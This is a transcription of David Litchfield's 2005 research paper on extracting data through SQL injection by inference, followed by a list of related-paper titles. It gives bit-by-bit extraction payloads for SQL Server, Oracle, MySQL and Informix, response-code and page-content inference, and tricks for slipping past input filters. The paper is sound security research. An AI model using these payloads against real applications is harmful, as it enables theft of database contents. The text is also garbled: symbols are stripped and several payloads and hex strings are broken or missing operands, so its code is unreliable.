Data-mining with SQL Injection and Inference
|
|
|
- Opal Beasley
- 10 years ago
- Views:
Transcription
1 Data-mining with SQL Injection and Inference David Litchfield 30 th September 2005 An NGSSoftware Insight Security Research (NISR) Publication 2005 Next Generation Security Software Ltd
2 Abstract When drilling for data via SQL injection there are three classes of attack inband, out-of-band and the relatively unknown inference attack. Inband attacks extract data over the same channel between the client and the web server, for example, results are embedded in a web page via a union select. Out-of-band attacks employ a different communications channel to drill for data by using database mail or HTTP functions for example. Inference attacks stand alone in the fact that no actual data is transferred rather, a difference in the way an application behaves can allow an attacker to infer the value of the data. SQL Inference is the subject of this paper; this paper is the paper I promised I d write after talking about this at the Blackhat Security Briefings in Europe of in the March of Better late than never! What is SQL Injection? A SQL Injection vulnerability is a type of security hole that is found in a multi-tiered application; it is where an attacker can trick a database server into running an arbitrary, unauthorized, unintended SQL query by piggybacking extra SQL elements on top of an existing, predefined query that was intended to be executed by the application. The application, which is generally, but not necessarily, a web application, accepts user input and embeds this input inside an SQL query. This query is sent to the application s database server where it is executed. By providing certain malformed input, an attacker can manipulate the SQL query in such a way that its execution will have unintended consequences. This all sounds like a bit of a mouthful one that can be more easily swallowed with an example. Consider an online bookstore. This bookstore s web server allows users to search for books by a given author. This search facility is implemented by querying a list of book titles in a backend database server limited by who (or what) the user enters as the author. This search functionality happens to be vulnerable to SQL injection. Instead of returning a list of book titles, by exploiting the vulnerability an attacker can trick the application into returning a list of all usernames, passwords, addresses and credit card numbers of everyone that has ever used the bookstore. This scenario is not sensationalist - it's an easy attack that can be leveled against a SQL injection vulnerability. In terms of risk, SQL injection is right up there at the top with problems like buffer overflows. I recently had an argument with a large database software vendor about this. They rated SQL injection problems as a low risk issue and were greatly more concerned with buffer overflows in their RDBMS offering. I pointed out to them that to exploit a buffer overflow in the database server one must first get past the organization s firewall. A nice easy way of doing this is through SQL injection: the firewall must allow inbound connections to the web server from the Internet so customers can access the web application; and if the application is vulnerable to SQL injection then the attacker can get access to the database and exploit the buffer overflow vulnerability. But here s the kicker why would an attacker bother exploiting the buffer overflow vulnerability if they can arbitrarily gain access to the data in the database anyway? Since this discussion, I m glad to report that the large database software vendor has since upgraded the status of SQL injection vulnerabilities and give them the respect they re due. In terms of prevalence, 6 in 10 web applications that connect to a database server are vulnerable to SQL injection. This statistic is based upon the number of new applications that were found to be vulnerable when performing security assessments for clients over 2003/2004. This is shockingly high. SQL injection is vendor agnostic: it doesn t matter whether the application is running Oracle, SQL Server, DB2, MySQL or Informix on Active/Java Server Pages, Cold Fusion Management, PHP or Perl it can be vulnerable to SQL injection though, as we ll see later, some are more at risk that others. A Brief History of SQL Injection On Christmas day, 1998 Phrack 54 was issued. Phrack[1], is a Hacker magazine written by the community, for the community. It is an excellent source of technical security information and in this particular edition, 54, there was an article entitled NT Web Technology Vulnerabilities written by rfp
3 or rain forest puppy. Amongst other things this article described a number of attacks that employed SQL injection, though at no point is this term used in the article. rfp discusses IDC and ASP applications running on Microsoft s Internet Information Server feeding into SQL Server 6.5. This article is the first real public outing of SQL injection it just wasn t called SQL injection at that time. That would come later. Next of note was a security advisory published by Allaire[2] on February the 4 th 1999, a little over a month after rfp s article. The security bulletin discusses the threat posed by Multiple SQL Statements in Dynamic Queries. Three months later we have another interesting note from rfp again coauthored by Matthew Astley. Entitled NT ODBC Remote Compromise [3], the advisory discusses injecting VBA code into Access SQL queries but again the term injection is not used. One day short of a year after the Allaire bulletin, on the 3 rd of February rfp posts an advisory entitled, How I hacked Packetstorm A look at hacking wwwthreads via SQL [4]. Though the term SQL injection had still yet to surface, rfp was making major inroads into the exploitation of such vulnerabilities. Packetstorm is a hacker site full of useful documents, exploits and scripts. By exploiting holes in the wwwthreads perl application rfp was able to inject arbitrary SQL gaining control of the database server by making himself an administrator. In September, seven months after this, I submitted a talk for Blackhat Europe called Application Assessments on IIS [5] and, as part of it, I discuss attacking database servers via ASP applications using SQL insertion. I presented the paper the day after Chip Andrews published the SQL Injection FAQ on the 23 rd of October at SQLSecurity.com [6]. To my knowledge Chip s is the first usage of the term SQL Injection in a public document, though SANS [7] were using the term in their weekly bulletins at around the same time; which came first is not certain. In April 2001, again at Blackhat, I presented a paper on Remote Web Application Disassembly using ODBC error messages [8]. This paper introduced some new techniques that can be used to work out the exact structure of the database application using SQL injection. The next major leap forward came in January 2002 when Chris Anley published a paper entitled Advanced SQL Injection in SQL Server Applications [9]. This was the first paper to discuss SQL injection in great depth. Two days before this Kevin Spett had released his paper SQL Injection - Are your web applications vulnerable? [10] and in June, Chris follows up with another excellent paper that introduces time delays as a technique for accessing data, cunningly called, (more) Advanced SQL Injection [11]. For a while, the pen-testers at NGSSoftware had been using xp_cmdshell ping n to determine whether we could access the stored procedure if the application paused for approximately 10 seconds then we could access it. Chris extended this to using time delays to drill for data and is the first example an inference attack. In August 2002, Cesar Cerrudo released a paper called Manipulating Microsoft SQL Server Using SQL Injection [12] and provided a tool called DataThief with the paper to enable data querying via the openrowset function. In the first week of September 2003 Ofer Maor and Amichai Shulman release a paper Blindfolded SQL injection [13] and at the end of September 2003 Sanctum release their take on Blind SQL Injection [14]. At Blackhat x90.org released SQueaL [15], now known as Absinthe, a tool used to automate the querying of data via SQL injection. This short history mentions the key advancements in SQL injection but it must be noted that there have been many other papers discussing injection techniques for various database servers and for a range of application environments. Readers are encouraged to read the papers listed in this section unless they have already done so. [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15]
4 Data-mining with SQL Inference When exploiting a SQL injection vulnerability there are three classes of data extraction methods that can be used to drill for data: inband, out-of-band and inference. Inband methods use the existing channel between the attacker and application to extract data. A couple of examples of this would be having the data returned in a well rendered webpage or in an error message. Out-of-band methods open a new channel between the client and the application; this usually involves having the database server connect out to the client using another network function such as , HTTP or even a database connection. Examples of these would be by using the OPENROWSET() function or XP_SENDMAIL procedure in SQL Server or SYS.UTL_HTTP.REQUEST in Oracle. Inference is where no actual data is transferred directly but by observing differences in the responses from the application the attacker can infer the value of the data. This is effected by asking questions and generating deliberate differences in the response based upon the answer. Inference can be done at the bit level which I ve termed data- chipping as it s far too slow to be called data mining or inference can be as blunt as asking questions like, Is the password foobar? Inference will use a property such as time, web server status response codes or content differences to enable the attacker to infer correctly the value of the data. Inference At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z. The first example of an inference based attack came in Chris Anley s excellent paper (more) Advanced SQL Injection - In this paper Chris uses the fact that Microsoft SQL Server will batch multiple queries and he injects the following Transact-SQL: varchar(8000) = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' In the Transact-SQL block, if the first bit of the first byte of the database name is set to 1 then the application will pause and not respond until after 5 seconds. If the bit is set to 0 then the application will return immediately. By measuring the time it takes for the application to respond you can infer whether the bit was 1 on 0. This was a major step forward as far as extracting data via SQL injection is concerned. It, for the first time, provided a method of retrieving data where all inband and out-of-band methods were unsuccessful. The implementation however only works on SQL Server and is marred by how slow it necessarily must be due to the time delay. Chris published this in 2002 and since then no real improvements have been made. Due to the fact that inference attacks can be used in any SQL injection situation it s worthwhile examining ways to improve upon the current state. By using CASE statements we can build inline conditional queries that do not rely on a server s ability to batch multiple queries and most RDBMSes support CASE statements: SELECT CASE WHEN condition THEN do_one_thing ELSE do_another END For example, the condition could be when the first bit of a given byte of data is set to 1 then pause for 5 seconds otherwise return. But why slow ourselves down by using time? We have complete flexibility to choose what do_one_thing is and what do_another is, too. These could be return successfully if the bit is 1 but cause an error if the bit is 0. This would cause the web server to generate a 200 OK response if the bit is 1 and a 500 Internal Server error if the bit is 0. Another option might be to return one string such as success if the bit is 1 or failed if the bit is 0. Feasibly, we could, if we really wanted, have the database server mail tech support with a message to call us about a broken modem if the bit is 1 and about a broken
5 monitor if the bit is 0. Hours later, when we get the call from them, if they tell us that they re calling with reference to a broken modem then we can infer that the bit was 1. This is, of course, ridiculous, but it does demonstrate that we re limited only by our imaginations as far as inference attacks go; but let s concentrate on practical ones. Inference through Web Server Status Response Codes By injecting a specific query into an Application Defined Query (ADQ) it is possible to cause the web server to generate a different response code based upon value of the data. For example, if one bit of a byte of the data is 1 then generate a 200 response; if the bit is 0 then generate a 500 response. The trick here is to use SQL that will not cause an error at compile time but will if the conditional branch is ever executed. One way that seems to work with most databases is a divide by 0 error though it doesn t work with MySQL which doesn t even flinch. Other databases like Microsoft SQL Server, Oracle and DB2 will happily compile. Informix is an odd case because although a divide by 0 will cause an error the driver will not reflect this so a 200 response is still generated. The other database drivers will generate an error and thus a 500 response upon the following: SELECT CASE WHEN condition THEN 1 ELSE 1/0 END Only if the condition is not met will an error be generated otherwise the query would return 1. This technique works extremely well with SQL Server, Oracle and DB2 but not so well with MySQL or Informix. Depending upon the application environment it must be stated that the error response code may not be 500 for example with PL/SQL on more recent versions of Oracle Application Server the response code is a 404 File Not Found. Before continuing with this we should consider where we ll place our conditional statement. Obviously we re constrained to a certain degree by the application and where it is vulnerable but even then we still have a high degree of control. For example assume the application executes the following ADQ. SELECT TITLES FROM BOOKS WHERE AUTHOR = $USERINPUT AND PRICE < 10 We could use the double-dash SQL terminator and cut off AND PRICE < 10 : + case_query - - But what if the ADQ was actually much more complex and was a labyrinth of parentheses? If we were seeking a generic method so it would work with an automated tool then doing this would cause problems. Each new application would require us to fiddle about to get it to work. A much more reliable option would be to split and balance the parameter. Parameter Splitting and Balancing Consider the following query on Microsoft SQL Server: SELECT TITLES FROM BOOKS WHERE AUTHOR = AAA + B + CCC We could modify this query and replace B with a sub-select: SELECT TITLES FROM BOOKS WHERE AUTHOR = AAA + (SELECT B ) + CCC The two queries are equivalent. We could then change it again to SELECT TITLES FROM BOOKS WHERE AUTHOR = AAA + (SELECT SUBSTRING( B,1,1)) + CCC
6 Again this query is equivalent to the other two and so is SELECT TITLES FROM BOOKS WHERE AUTHOR = AAA + (SELECT SUBSTRING( XYZB,4,1)) + CCC By now you should see where I m going regardless of the sub-query that splits the parameter they all return the same record set all titles by the author AAABCCC. Using this principle we have a generic method for injections that should work regardless on every application. Even if the ADQ places our parameter in a function : SELECT TITLES FROM BOOKS WHERE AUTHOR = UPPER( $USERINPUT ) by splitting and balancing the parameter we re guaranteed to work. The same can be done for numeric data. The following queries are all equivalent: SELECT NAME FROM BOOKS WHERE PAGES = 221 SELECT NAME FROM BOOKS WHERE PAGES = SELECT NAME FROM BOOKS WHERE PAGES = (select 1) 1 SELECT NAME FROM BOOKS WHERE PAGES = SELECT NAME FROM BOOKS WHERE PAGES = (select ascii( A ) 65) If we split and balance the input parameter then the query is guaranteed to work smoothly. This technique can be applied to all databases. Content Manipulation Inference Attack There s one major problem with tampering with the response codes the web server error logs will be full of non-200 responses and as all good web server administrators read their logs (or should be!!!) they ll quickly realize something is amiss. This can be avoided with Content Manipulation Inference attack. With content manipulation the server response code stays constant it is the content of the web page that is different. Going back to our online book store example where we can search for books by a given author, if we enter the author as DICKENS we get A Christmas Carol in the content of the web page. If we enter DICKEXS as the author we don t get A Christmas Carol in the response. Using parameter splitting and balancing we can force the application to search for books by DICKENS if the given bit of the byte is 1 but search for DICKEXS if the bit is 0. By doing this if the content of the web page contains the sting A Christmas Carol we can infer that the bit was 1 and if the string is not present then we can infer that the bit was 0. Examples I have intentionally tried to avoid the use of certain characters in the SQL in this section as certain application environments may munge them. See Appendix A for more on this. CASE statements for various databases Let s look at some CASE statements for various databases avoiding the dangerous characters mentioned above. These statements will become our subqueries that we ll use to split and balance the input parameter. Assuming our vector is the following ADQ: SELECT TITLES FROM BOOKS WHERE AUTHOR= $USERINPUT then our normal web request would be
7 On top of this, let s say that A Christmas Carol is returned as a title. If the backend was Microsoft SQL Server then, splitting and balancing the parameter we d have + (select case when between 0 and then char(78) else char(88) end) + 'S Remember, to test if a bit is set we can say if byte^bit_position is less than byte then the bit is set otherwise the bit is not set. So here, we re checking if the first byte of the query, when xored with 1 is between 0 and the byte itself. If it is, then the query as a whole returns char(78) which is the letter N. If the bit is not set then the query as a whole will return char(88) which is the letter X. As such, when incorporated into the ADQ the search will be for books by an author of DICKENS if the first bit was set or DICKEXS if the bit was not set. By checking if the text A Christmas Carol appears in the returned content or not we can then infer whether the bit was set or not. By then moving from 1 to 2 to 4 to 8 to 16 to 32 to 64 to 128 we can test all bits of the first byte. We then repeat the process for the next byte of the data returned from by upping the offset in the substring function: + (select case when between 0 and then char(78) else char(88) end) + 'S We keep going through each byte until we hit a point where for one byte in particular we hit 8 no-bit-set. This is our NULL terminator in other words the end of the data. Needless to say that can be replaced with any query that returns a single value. Oracle would be slightly different. For string data the case query would be ' (select case when bitand(ascii(substr((sub-query),the_byte,1)), the_bit) between 1 and 255 then chr(78) else chr(88) end from dual) ' Note the use of the bitand() function here. If the parameter is numerical then we could use + (select case when bitand(ascii(substr((sub-query),the_byte,1)), the_bit) between 1 and 255 then 0 else 1 end from dual) For numeric values in MySQL the query to inject would be + (select case when (ascii(substring((sub-query),the_byte,1))^the_bit) between 0 and ascii(substring((sub-query),the_byte,1)) then 0 else 1 end and ' + (select case when (ascii(substring((sub-query),the_byte,1))^the_bit) between 0 and ascii(substring((sub-query),the_byte,1)) then 0 else 1 end) + for string parameters. The most cumbersome is Informix. As there is no cbar or chr function we have to carry our own around with us: ' (select distinct case when bitval((select distinct DECODE((select distinct (substr((sub-
8 query),the_byte,1)) from sysmaster:informix.systables),"{",123," ",124,"}",125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,",",44, "-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"\\",92,".",46,"?",63,"- 7,"D",68,"E",69,"F",70,"G",71,"H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",90,"a",97,"b",98,"c",99,"d",100,"e",10 1,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p",112,"q",113,"r", 114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then 'N' else X end from sysmaster:informix.systables) ' Conclusion Inference as a means of drilling for data can be used regardless of the application environment and regardless of the predefined application query so long as the application is vulnerable to SQL injection. This is what makes it such a powerful and dangerous technique. As always, the best form of defence is not to have your applications vulnerable in the first place. Appendix A: Avoiding special characters Often, in an attempt to protect against SQL injection attacks, many applications will reject input if certain characters are present. For example, if a space exists in the input then it might be rejected. Other times, certain characters may be converted for example the greater than sign > and the less than sign < may be converted to > and < respectively to help mitigate client cross site scripting attacks. ColdFusion does this and also converts the ampersand sign - & - to & and the double quotation mark to ". If these characters appear in your arbitrary SQL then they ll be converted and the query will fail. ColdFusion and PHP are often known to double up single quotes as well. Avoiding single quotes Assume the query we want to run against a Microsoft SQL Server is SELECT NAME,ID FROM SYSOBJECTS WHERE NAME = sysobjects but due to the single quotes being stripped or doubled up we can t. We can solve this in SQL Server by replacing sysobjects with SELECT NAME,ID FROM SYSOBJECTS WHERE NAME = 0x F A x F A is the hex representation of the Unicode string sysobjects. We can achieve the same result in MySQL. Instead of using root we can use 0x726F6F74: SELECT USER FROM USER WHERE USER = 0x726F6F74 The difference here of course is that SQL Server uses UNICODE where as MySQL does not. For those databases that support a CHAR/CHR style function then this can also be used. Let s consider Oracle: SELECT PASSWORD FROM DBA_USERS WHERE USERNAME =
9 CHR(83) CHR(89) CHR(83) CHR(83) CHR(89) CHR(83) is equivalent to SYS. Informix does not support a CHAR/CHR function. Avoiding spaces If an application is vulnerable to SQL injection but won t allow the use of spaces in input then various methods can be used to resolve this problem. Assuming of course that tabs and newline and control feed characters are disallowed as well, that is white space characters in general are disallowed, then one can use the comment delimiters, /* */, to help SELECT/*ABC*/COL1/*PQR*/FROM/*XYZ*/TABLE This works with most databases. Another option is to use object delimiters. For example the following will work on Microsoft s SQL Server: SELECT[NAME]FROM[SYSOBJECTS]WHERE[NAME]='sysobjects' Using the same principle the following will work on Oracle: SELECT USERNAME FROM SYS. DBA_USERS WHERE USERNAME = SYS and this will work on MySQL: SELECT(USER)FROM(USER)WHERE(USER)= root Avoiding angle brackets The greater than and the less than signs may cause problems so a replacement is required for those queries that rely on such comparisons in a where clause. Rather than using SELECT COL1 FROM TABLE WHERE ID > 10 you can use SELECT COL FROM TABLE WHERE ID BETWEEN 10 AND nnn where nnn is an upper limit. If less than 10 is required then the following will work in its place SELECT COL FROM TABLE WHERE ID BETWEEN 0 AND 10 Avoiding the ampersand Microsoft SQL Server and MySQL use the ampersand as a bitwise AND operator. If a bit operation is required then try to come up with a suitable substitute. For example, assume you want to check if the second low order bit is set for a given byte. You could request if THE_BYTE & 2 > 0 then the bit is set; if the bit is not set the result is 0. If we re not allowed to use the ampersand however we could maybe use the XOR operator - ^. if THE_BYTE ^ 2 < THE_BYTE then the bit is set otherwise the result is greater.
10 Avoiding the equals character It may be necessary to avoid the equal character sometimes. Assuming our query is SELECT COL FROM TABLE WHERE XYZ = 333 then we could replace it with SELECT COL FROM TABLE WHERE XYZ BETWEEN 332 AND 334 With string data LIKE can be used to replace the equals sign.
SQL Injection and Data Mining through Inference
SQL Injection and Data Mining through Inference David Litchfield What is SQL Injection? A SQL Injection vulnerability is a type of security hole that is found in a multi-tiered application; it is where
Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool
Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool Authors: Chema Alonso, Daniel Kachakil, Rodolfo Bordón,
Automating SQL Injection Exploits
Automating SQL Injection Exploits Mike Shema IT Underground, Berlin 2006 Overview SQL injection vulnerabilities are pretty easy to detect. The true impact of a vulnerability is measured
SQL Injection January 23, 2013
Web-based Attack: SQL Injection SQL Injection January 23, 2013 Authored By: Stephanie Reetz, SOC Analyst Contents Introduction Introduction...1 Web applications are everywhere on the Internet. Almost Overview...2
EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.
CENTER FOR ADVANCED SECURITY TRAINING 619 Advanced SQLi Attacks and Countermeasures Make The Difference About Center of Advanced Security Training () The rapidly evolving information security landscape
INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY
INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY Asst.Prof. S.N.Wandre Computer Engg. Dept. SIT,Lonavala University of Pune, [email protected] Gitanjali Dabhade Monika Ghodake Gayatri
Manipulating Microsoft SQL Server Using SQL Injection
Manipulating Microsoft SQL Server Using SQL Injection Author: Cesar Cerrudo ([email protected]) APPLICATION SECURITY, INC. WEB: E-MAIL: [email protected] TEL: 1-866-9APPSEC 1-212-947-8787 INTRODUCTION
Web Applications Security: SQL Injection Attack
Web Applications Security: SQL Injection Attack S. C. Kothari CPRE 556: Lecture 8, February 2, 2006 Electrical and Computer Engineering Dept. Iowa State University SQL Injection: What is it A technique
Testing Web Applications for SQL Injection Sam Shober [email protected]
Testing Web Applications for SQL Injection Sam Shober [email protected] Abstract: This paper discusses the SQL injection vulnerability, its impact on web applications, methods for pre-deployment and
How I hacked PacketStorm (1988-2000)
Outline Recap Secure Programming Lecture 8++: SQL Injection David Aspinall, Informatics @ Edinburgh 13th February 2014 Overview Some past attacks Reminder: basics Classification Injection route and motive
SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd
SQL injection: Not only AND 1=1 Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd [email protected] +44 7788962949 Copyright Bernardo Damele Assumpcao Guimaraes Permission
Advanced PostgreSQL SQL Injection and Filter Bypass Techniques
Advanced PostgreSQL SQL Injection and Filter Bypass Techniques INFIGO-TD TD-200 2009-04 2009-06 06-17 Leon Juranić [email protected] INFIGO IS. All rights reserved. This document contains information
SQL Injection Protection by Variable Normalization of SQL Statement
Page 1 of 9 SQL Injection Protection by Variable Normalization of SQL Statement by: Sam M.S. NG, 0 http://www.securitydocs.com/library/3388 "Make everything as simple as possible, but not simpler." --
BLIND SQL INJECTION (UBC)
WaveFront Consulting Group BLIND SQL INJECTION (UBC) Rui Pereira,B.Sc.(Hons),CISSP,CIPS ISP,CISA,CWNA,CPTS/CPTE WaveFront Consulting Group Ltd [email protected] www.wavefrontcg.com 1 This material
Webapps Vulnerability Report
Tuesday, May 1, 2012 Webapps Vulnerability Report Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE Impact Professional during
Web Application Disassembly with ODBC Error Messages By David Litchfield Director of Security Architecture @stake http://www.atstake.
Web Application Disassembly with ODBC Error Messages By David Litchfield Director of Security Architecture @stake http://www.atstake.com Introduction This document describes how to subvert the security
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION DMITRY EVTEEV
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION DMITRY EVTEEV JANUARY 28TH, 2010 [ 1 ] INTRO 3 [ 2 ] ERROR-BASED BLIND SQL INJECTION IN MYSQL 5 [ 3 ] UNIVERSAL EXPLOITATION TECHNIQUES FOR OTHER DATABASES
Attack Methodology Analysis: SQL Injection Attacks
INL/EXT-05-00572 Attack Methodology Analysis: SQL Injection Attacks Bri Rolston September 2005 The INL is a U.S. Department of Energy National Laboratory operated by Battelle Energy Alliance INL/EXT-05-00572
SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva
SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever Dana Tamir, Product Marketing Manager, Imperva Consider this: In the first half of 2008, SQL injection was the number one attack vector
SECURING APACHE : THE BASICS - III
SECURING APACHE : THE BASICS - III Securing your applications learn how break-ins occur Shown in Figure 2 is a typical client-server Web architecture, which also indicates various attack vectors, or ways
SQL Injection Optimization and Obfuscation Techniques
SQL Injection Optimization and Obfuscation Techniques By Roberto Salgado Introduction SQL Injections are without question one of the most dangerous web vulnerabilities around. With all of our information
Advanced SQL Injection
Advanced SQL Injection December 2012 Guillaume Loizeau Regional Sales Manager, DB Security McAfee Agenda What is SQL Injection In-band Injection Out-of-band Injection Blind Injection Advanced techniques
SQL Injection. By Artem Kazanstev, ITSO and Alex Beutel, Student
SQL Injection By Artem Kazanstev, ITSO and Alex Beutel, Student SANS Priority No 2 As of September 2009, Web application vulnerabilities such as SQL injection and Cross-Site Scripting flaws in open-source
Analysis of SQL injection prevention using a proxy server
Computer Science Honours 2005 Project Proposal Analysis of SQL injection prevention using a proxy server By David Rowe Supervisor: Barry Irwin Department of Computer
SQL Injection in web applications
SQL Injection in web applications February 2013 Slavik Markovich VP, CTO, Database Security McAfee About Me Co-Founder & CTO of Sentrigo (now McAfee Database Security) Specialties: Databases, security,
The SQL Injection and Signature Evasion
The SQL Injection and Signature Evasion Protecting Web Sites Against SQL Injection SQL injection is one of the most common attack strategies employed by attackers to steal identity and other sensitive
Intrusion Protection against SQL Injection Attacks Using a Reverse Proxy
Intrusion Protection against SQL Injection Attacks Using a Reverse Proxy S. Fouzul Hidhaya 1, 2 and Angelina Geetha 1, 3 1 Department of Computer science and Engineering, B.S. Abdur Rahman University,
SQL Injection. The ability to inject SQL commands into the database engine through an existing application
SQL Injection The ability to inject SQL commands into the database engine through an existing application 1 What is SQL? SQL stands for Structured Query Language Allows us to access a database ANSI and
Exposed Database( SQL Server) Error messages Delicious food for Hackers
Exposed Database( SQL Server) Error messages Delicious food for Hackers The default.asp behavior of IIS server is to return a descriptive error message from the application. By attacking the web application
Start Secure. Stay Secure. Blind SQL Injection. Are your web applications vulnerable? By Kevin Spett
Are your web applications vulnerable? By Kevin Spett Table of Contents Introduction 1 What is? 1 Detecting Vulnerability 2 Exploiting the Vulnerability 3 Solutions 6 The Business Case for Application Security
ICTN 4040. Enterprise Database Security Issues and Solutions
Huff 1 ICTN 4040 Section 001 Enterprise Information Security Enterprise Database Security Issues and Solutions Roger Brenton Huff East Carolina University Huff 2 Abstract This paper will review some of
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES AUTHOR: Chema Alonso Informática 64. Microsoft MVP Enterprise Security Hello and welcome to Intypedia.
Guarding Against SQL Server Attacks: Hacking, cracking, and protection techniques.
Guarding Against SQL Server Attacks: Hacking, cracking, and protection techniques. In this information age, the data server has become the heart of a company. This one piece of software controls the rhythm
Black Hat Briefings USA 2004 Cameron Hotchkies [email protected]
Blind SQL Injection Automation Techniques Black Hat Briefings USA 2004 Cameron Hotchkies [email protected] What is SQL Injection? Client supplied data passed to an application without appropriate data validation
3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management
What is an? s Ten Most Critical Web Application Security Vulnerabilities Anthony LAI, CISSP, CISA Chapter Leader (Hong Kong) [email protected] Open Web Application Security Project http://www.owasp.org
Blindfolded SQL Injection. Written By: Ofer Maor Amichai Shulman
Blindfolded SQL Injection Written By: Ofer Maor Amichai Shulman Table of Contents Overview...3 Identifying Injections...5 Recognizing Errors...5 Locating Errors...6 Identifying SQL Injection Vulnerable
Application Security Testing. Generic Test Strategy
Application Security Testing Generic Test Strategy Page 2 of 8 Contents 1 Introduction 3 1.1 Purpose: 3 1.2 Application Security Testing: 3 2 Audience 3 3 Test Strategy guidelines 3 3.1 Authentication
Web Application Attacks And WAF Evasion
Web Application Attacks And WAF Evasion Ahmed ALaa (EG-CERT) 19 March 2013 What Are We Going To Talk About? - introduction to web attacks - OWASP organization - OWASP frameworks - Crawling & info. gathering
NEW AND IMPROVED: HACKING ORACLE FROM WEB. Sumit sid Siddharth 7Safe Limited UK
NEW AND IMPROVED: HACKING ORACLE FROM WEB Sumit sid Siddharth 7Safe Limited UK About 7Safe Part of PA Consulting Group Security Services Penetration testing PCI-DSS Forensics Training E-discovery About
Blind SQL Injection Are your web applications vulnerable?
Blind SQL Injection Are your web applications vulnerable? By Kevin Spett Introduction The World Wide Web has experienced remarkable growth in recent years. Businesses, individuals, and governments have
White Paper. Blindfolded SQL Injection
White Paper In the past few years, SQL Injection attacks have been on the rise. The increase in the number of Database based applications, combined with various publications that explain the problem and
A Tokenization and Encryption based Multi-Layer Architecture to Detect and Prevent SQL Injection Attack
A Tokenization and Encryption based Multi-Layer Architecture to Detect and Prevent SQL Injection Attack Mr. Vishal Andodariya PG Student C. U. Shah College Of Engg. And Tech., Wadhwan city, India [email protected]
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH [email protected] January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH [email protected] January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
Classification of SQL Injection Attacks
Classification of SQL Injection Attacks San-Tsai Sun, Ting Han Wei, Stephen Liu, Sheung Lau Electrical and Computer Engineering, University of British Columbia {santsais,tinghanw,stephenl,sheungl}@ece.ubc.ca
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions [email protected] Agenda Current State of Web Application Security Understanding
Migration Manager v6. User Guide. Version 1.0.5.0
Migration Manager v6 User Guide Version 1.0.5.0 Revision 1. February 2013 Content Introduction... 3 Requirements... 3 Installation and license... 4 Basic Imports... 4 Workspace... 4 1. Menu... 4 2. Explorer...
The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA
The Weakest Link: Mitigating Web Application Vulnerabilities webscurity White Paper webscurity Inc. Minneapolis, Minnesota USA January 25, 2007 Contents Executive Summary...3 Introduction...4 Target Audience...4
Token Sequencing Approach to Prevent SQL Injection Attacks
IOSR Journal of Computer Engineering (IOSRJCE) ISSN : 2278-0661 Volume 1, Issue 1 (May-June 2012), PP 31-37 Token Sequencing Approach to Prevent SQL Injection Attacks ManveenKaur 1,Arun Prakash Agrawal
Why Web Applications are making a hackers life easy. Presented by Jon Grew BT SBS
Why Web Applications are making a hackers life easy. Presented by Jon Grew BT SBS Acknowledgements Ed Barlow Technical Director EMEA Ed sends his apologies. The following presentation is based on the talk
Penetration Testing Lessons Learned. Security Research
1 Penetration Testing Lessons Learned Security Research 2 Who am I? CTO at Immunity, Inc. Privately held information security company Consulting Training Specialized Security Products CANVAS SILICA Based
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION V 2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: Learn the various attacks like sql injections, cross site scripting, command execution
Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com
SAINT Integrated Network Vulnerability Scanning and Penetration Testing www.saintcorporation.com Introduction While network vulnerability scanning is an important tool in proactive network security, penetration
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
Project 2: Penetration Testing (Phase II)
Project 2: Penetration Testing (Phase II) CS 161 - Joseph/Tygar November 17, 2006 1 Edits If we need to make clarifications or corrections to this document after distributing it, we will post a new version
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
